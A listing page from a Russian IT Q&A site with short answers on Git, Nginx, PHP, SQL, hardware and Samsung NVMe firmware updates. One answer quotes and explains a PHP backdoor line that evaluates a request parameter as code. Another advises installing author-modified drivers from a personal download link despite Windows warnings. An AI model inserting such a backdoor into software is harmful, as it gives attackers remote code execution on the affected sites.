Задать вопрос
  • Какие книги стоит прочесть новичку по ИБ?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    Олифер и Олифер. Компьютерные сети
    Эви Немет сотоварищи. Руководство по UNIX и Linux

    Ну, а единственной "книгой" по ИБ является Уголовный Кодекс РФ :)
    А также богатый набор отраслевых стандартов
    Ответ написан
    Комментировать
  • Как установить Kali Linux на Orange Pi 3 LTS?

    @Spargwy
    20 годиков. Голанг баккенд девелопер
    Зачем? А главное нахрена?
    Ответ написан
    7 комментариев
  • Что не так с конфигом FastCGI (Nginx + PHP-FPM)?

    ky0
    @ky0 Куратор тега Nginx
    Миллиардер, филантроп, патологический лгун
    Апач тоже работает с FPM или всё-таки с модулем? Если да - дело в настройках PHP.
    Ответ написан
    1 комментарий
  • В терминале Git Bash вылазит какой-то END и другое. Как убрать?

    sergey-kuznetsov
    @sergey-kuznetsov Куратор тега Git
    Автоматизатор
    Git хочет показать вам более одного экрана с информацией, для этого он вызывает стандартную программу пейджера Unix less. Просто введите q, чтобы вернуться в терминал, когда вы больше не хотите перемещаться по выходным данным.

    j перейти на одну строку вниз
    k переместиться на одну строку вверх
    space перейти на одну страницу вниз
    b перейти на одну страницу вверх
    h показать помощь
    / поиск вперёд
    ? поиск назад

    Если вы не хотите less, просто замените его другим пейджером в конфигурации. Если вам вообще не нужен пейджер, просто используйте cat:

    git config --global --add core.pager cat
    Ответ написан
    4 комментария
  • Как исправить, ssl блокирует парсер simple_html_dom?

    @rPman
    загрузи страничку вручную тем же curl а парсеру корми строчку методом str_get_html
    Ответ написан
    6 комментариев
  • Допустимо ли создавать массивы в php без части элементов?

    Immortal_pony
    @Immortal_pony Куратор тега PHP
    В php ключи массива могут быть любыми.
    Можете сразу создавать с нужными ключами
    $myArray = [
        1 => $array2
    ];
    Ответ написан
  • Как бюджетно создать интернет-магазин?

    zkrvndm
    @zkrvndm
    Архитектор решений
    Как бесплатно создать интернет-магазин

    Шаг 1. Регистрируешь бесплатный хостинг. Например, здесь: https://beget.com/ru/hosting/free

    Шаг 2. Покупаешь домен в зоне .ru за 179 руб. (цена за год) - это будет адрес твоего магазина.

    Шаг 3. Заливаешь на хостинг любую бесплатную CMS. Например, версию Витрина отсюда: https://moguta.ru/download

    Шаг 4. После установки и настройки CMS, через админку CMS добавляешь товары, тестируешь все.

    Шаг 5. Если все хорошо, пользуешься и радуешься, если чувствуешь или видишь, что не хватает ресурсов, переходишь на платный хостинг, но в принципе для старта должно хватить и бесплатного (без гарантий).

    Если хотите совсем-совсем бесплатно даже без трат на домен, то тогда тупо создавайте свой магазин на Авито или ВКонтакте. Вопрос продаж в интернете - это не про наличие или отсутствие магазина, а скорее про наличие или отсутствие каналов привлечения клиентов. Продавать товары можно и без интернет-магазина, хоть через группы ВКонтакте, хоть через WhatsApp, хоть через прямые звонки на ваш телефон, тут важнее вопрос рекламы, а не наличие или отсутствие сайта.
    Ответ написан
    Комментировать
  • Как обновить прошивку NVMe SSD Samsung 980 PRO?

    SSLHTML
    @SSLHTML Автор вопроса
    Изыскания, разработки, изучение
    ЭМПИРИЧЕСКИЙ АНАЛИЗ.
    Методом экспериментов пришёл к определённым заключениям, которые позволили мне в своём конечном итоге прекрасно обновить прошивку на всёх устройствах.
    Я так понял, что проблемы с обновлением прошивки подобных дисков с помощью ПО Samsung Magician заключаются в том, что в ОС по-дефолту установлены стандартные драйвера NVMe контроллера(ов).
    Эти стандартные драйвера ОС Windows не даёт сменить на что-либо иное, даже при наличии цифровой подписи драйверов. Вот тут и возникает серьёзная "предъява" к МикроОкнам.
    Просто так подкинуть драйвера дискам не получится, поэтому мы открываем диспетчер задач, кликаем ПКМ на названии своего компьютера (в самом верху) и выбираем "Добавить драйверы".
    61e243b35b056956836872.png
    Далее выбираем папку с переработанными (доведёнными до приемлимого к установке уровня) мной драйверами Samsung для NVMe накопителей, взятыми изначально из официального установочного пакета:
    https://drive.google.com/file/d/1_PRPExthMQNLT6I1U...
    и жмём кнопку "Далее". В итоге вы должны увидеть сообщение, говорящее о том, что драйвера были успешно установлены.
    61e240b626576084849498.png Установлены, НО! Это означает лишь то, что они добавлены в систему, а не "привязаны" к оборудованию.
    Следубщим действием нам нужно "привязать" драйвера к имеющемуся оборудованию NVMe от Samsung, т.е. заменить дефолтные драйвера, которые установились ОС при её установке на нативные.
    Делаем ПКМ по контроллеру NVMe Samsung в диспетчере задач, далее "Обновить драйвер", далее "Найти драйверы на этом компьютере", далее "Выбрать драйвер из списка доступных драйверов на компьютере", снять галку "Только совместимые устройства", найти Samsung Electronics Co., Ltd и в окошке "Модель" выбираем "Samsung NVMe Controller".
    61e241c32f86f522427934.png
    Затем мы нажимаем кнопку "Далее" и утвердительно отвечаем на предупреждение о том, что Windows якобы не может проверить совместимость данного драйвера. (А чего бояться? Мамка ещё денег даст на 2Тб Samsung NVMe 980 PRO) Ржущий смайлик
    61e2413756c94654514218.png
    В итоге имеет сообщение об успешном обновлении драйвера.
    61e2411aa7d3e005461881.png
    Примечание.
    Если речь идёт о диске, на котором НЕ стоит действующая система из под которой вы загружены, то перезагрузка НЕ потребуется.
    Если же вы хотите обновить драйверы из под текущей системы, то потребуется перезагрузка.
    Самое главное тут не пытаться после установки нативных драйверов пытаться нажать кнопку "Обновить драйвер", иначе родные драйвера сразу слетят и будут заменены тем, чему Windows отдаёт предпочтение.
    Теперь, когда драйвера заменены на нативные, можно запустить Samsung Magician и обновить прошивку удобным методом.

    Если вы заметили, то я ранее употребил выражение "удобным методом". Судя по всему есть ещё какой-то, "неудобный".
    Да. Именно так. Существует возможность для "энтузазистов" обновить прошивку SSD ( в т.ч. NVMe) Samsung. Это загрузка официального образа с прошивкой для последующего "нарезания" на флешку с помощью Rufus или Unetbootin и затем загрузки с него. Про этот вариант писать не буду, ибо там всё элементарно для тех, кто понимает, что и как. Самый главный посыл моей темы-рассказать, что является проблемой в обновлении прошивки штатными методами (официальным ПО Samsung Magician). Скажу только, что официальные образы крайних прошивок для SSD (в т.ч. NVMe) Samsung можно скачать по ссылке в разделе "Firmware":


    ЭПИЛОГ.
    Проблемы с обновлением прошивки SSD и SSD NVMe накопителей возникает по причине работы вышеуказанных посредством стандартного драйвера от Майкрософт, а не родного драйвера от Samsung.
    В первую очередь надеюсь, что мой материал поможет тем, кто ищет решение вопроса, которым задался и я.
    Во-вторых Не могу сам для себя определить, почему Samsung не может "дописать" код ПО таким образом, чтобы прошивка обновлялась в т.ч. и на стандартных драйверах Windows.
    В-третьих не понимаю политику Windows, которая не даёт ни специализированному ПО, ни персонально пользователю (ручками) установить родной драйвер для этих твердотельных дисков.
    Всем спасибо. Ваши одобрительные комментарии как всегда ценны. Спасибо прежде всего тем, кто помогает другим, а не тупо набивает посты, как некоторые, праздно шатающиеся тут.
    Ответ написан
  • Как вытаскивать строки из базы данных исключая некоторые из них?

    AlexNest
    @AlexNest Куратор тега Python
    Работаю с Python/Django
    Не уверен насчёт sqlite, но в sql (как и в питоне) есть оператор in, проверяющий наличие в списке. В вашем случае должно быть какие-то так.
    where id not in (v1, v2... vn)
    Ответ написан
    1 комментарий
  • Какую связку мать + проц из предложенных посоветуете?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    Холиварчик "Intel vs AMD" по мощности наброса на вентилятор сравним с "Windows vs Linux" :)
    Ответ написан
    Комментировать
  • Какую связку мать + проц из предложенных посоветуете?

    @Mnemonic0
    Интел - смотрите на 12е поколение. 12400 какой-нить.
    А если сравнивать две этих сборки то лучше АМД.
    Сам 5600й процентов на 10 шустрее чем 11600.
    В 5600G стоит Vega7, а она на 15-20% шустрее чем интеловская 750-ка из 11600.

    Конкретно на текущем этапе я бы не покупал ни то, ни другое. АМ4 - тупиковый сокет, к концу года у АМД выйдет новый сокет на следующие 3 года (с 5-ннм ТП). А у интела появятся более дешёвые материнки под 12-е поколение процессоров. Сейчас момент в котором стоит обождать.
    Ответ написан
    1 комментарий
  • Почему я должен указывать теги в файле с расширением php?

    gds1
    @gds1
    Пыха - это наше всё)))
    А как интерпритатор узнает что это PHP без <? ?>?
    Ответ написан
    4 комментария
  • Как настроить, для деплоя flask-приложения на vps, Nginx, с gunicorn?

    @vitaly_il1
    DevOps Consulting
    Общий алгоритм:
    1) взять пример с Digitalocean или другого популярного сайта и задеплоить
    2) убедиться что работает
    3) посмотреть в чем разница между hello world примером который задеплоили и вашим проектом, и поискать примеры по этим темам
    4) задеплоить ваш проект и посмотреть что работает а что нет

    Насчет конфигов - как уже сказали, у Nginx, как и у большинства програм в линуксе, принято не редактировать nginx.conf, а класть дополнительные конфигурации как отдельные конфиги в соответствующие директории. В любой статье вы это увидите. Например, /etc/nginx/conf.d (sites-enabled, ...)
    Ответ написан
    Комментировать
  • Цикл уходит в бесконечность, как пофиксить?

    Fragster
    @Fragster
    помогло? отметь решением!
    вместо попытки выбросить отсутствующий элемент проще создать массив с последовательными значениями и выбирать из него случайные элементы в диапазоне от 0 до length-1 на каждой итерации, удаляя выбранный.
    Ответ написан
    Комментировать
  • Как разделить xml-файл по тэгам с помощью PHP?

    AgentSmith
    @AgentSmith
    Это мой правильный ответ на твой вопрос
    XPath
    Ответ написан
    Комментировать
  • Как разделить xml-файл по тэгам с помощью PHP?

    Adamos
    @Adamos
    Читаешь один XML, пишешь столько, сколько встретилось этих тегов.
    Если файл маленький - можно обойтись SimpleXML.
    Если простыня уходит за горизонт - XmlReader/XmlWriter.
    Ответ написан
    1 комментарий
  • Windows и Linux на внешнем SSD, возможно ли это?

    leahch
    @leahch Куратор тега Linux
    3D специалист. Dолго, Dорого, Dерьмово.
    С линуксом можно точно! С уиндоуз не уверен...
    Ответ написан
    3 комментария
  • Что делает данный код на php?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.
    eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));
    Ответ написан
    Комментировать
  • Есть файл-менеджер для Linux с функционалом как в FAR Manager?

    Пол линуксом есть две штуки: mc и far2.
    Посмотри в их сторону.
    Мб, в mc можно что-то настроить, или может даже есть плагины (не смотрел)
    Ответ написан
    2 комментария
  • Какой стек выбрать для бэкэнда?

    @dimuska139
    Backend developer
    Важна производительность, поэтому и стал вопрос о переходе от PHP/Laravel

    Тут вообще нет связи. Узким горлышком в таких проектах является не язык, на котором приложение написано, а база данных. Если медленно выполняются запросы, то хоть на ассемблере бэкенд напиши - быстрее сервер отвечать не будет. Ну может пару миллисекунд выиграете, но на фоне времени выполнения запроса в БД и сетевых издержек это смешные цифры - даже не заметите разницу. А если речь идёт о Django, то это вообще не про производительность, потому что этот фреймворк довольно тяжёлый сам по себе, да и Python - это далеко не самый производительный язык даже среди скриптовых.

    Если речь идёт про большие нагрузки, то тоже язык тут не особо при делах, потому что обеспечиваются они масштабированием, кешированием и оптимизацией запросов к БД. Язык приложения тут вообще не при чём - разве что памяти какой-то больше жрёт, какой-то меньше. 200к в сутки - это в среднем всего лишь 2-3 запроса в секунду - то есть вообще ни о чём. Понятно, что распределение посещаемости вряд ли непрерывное равномерное, но тем не менее 200к даже если за один час - это всего лишь 140 запросов в секунду. С такой нагрузкой справится любой современный язык и фреймворк даже без масштабирования, кстати.
    Ответ написан
    1 комментарий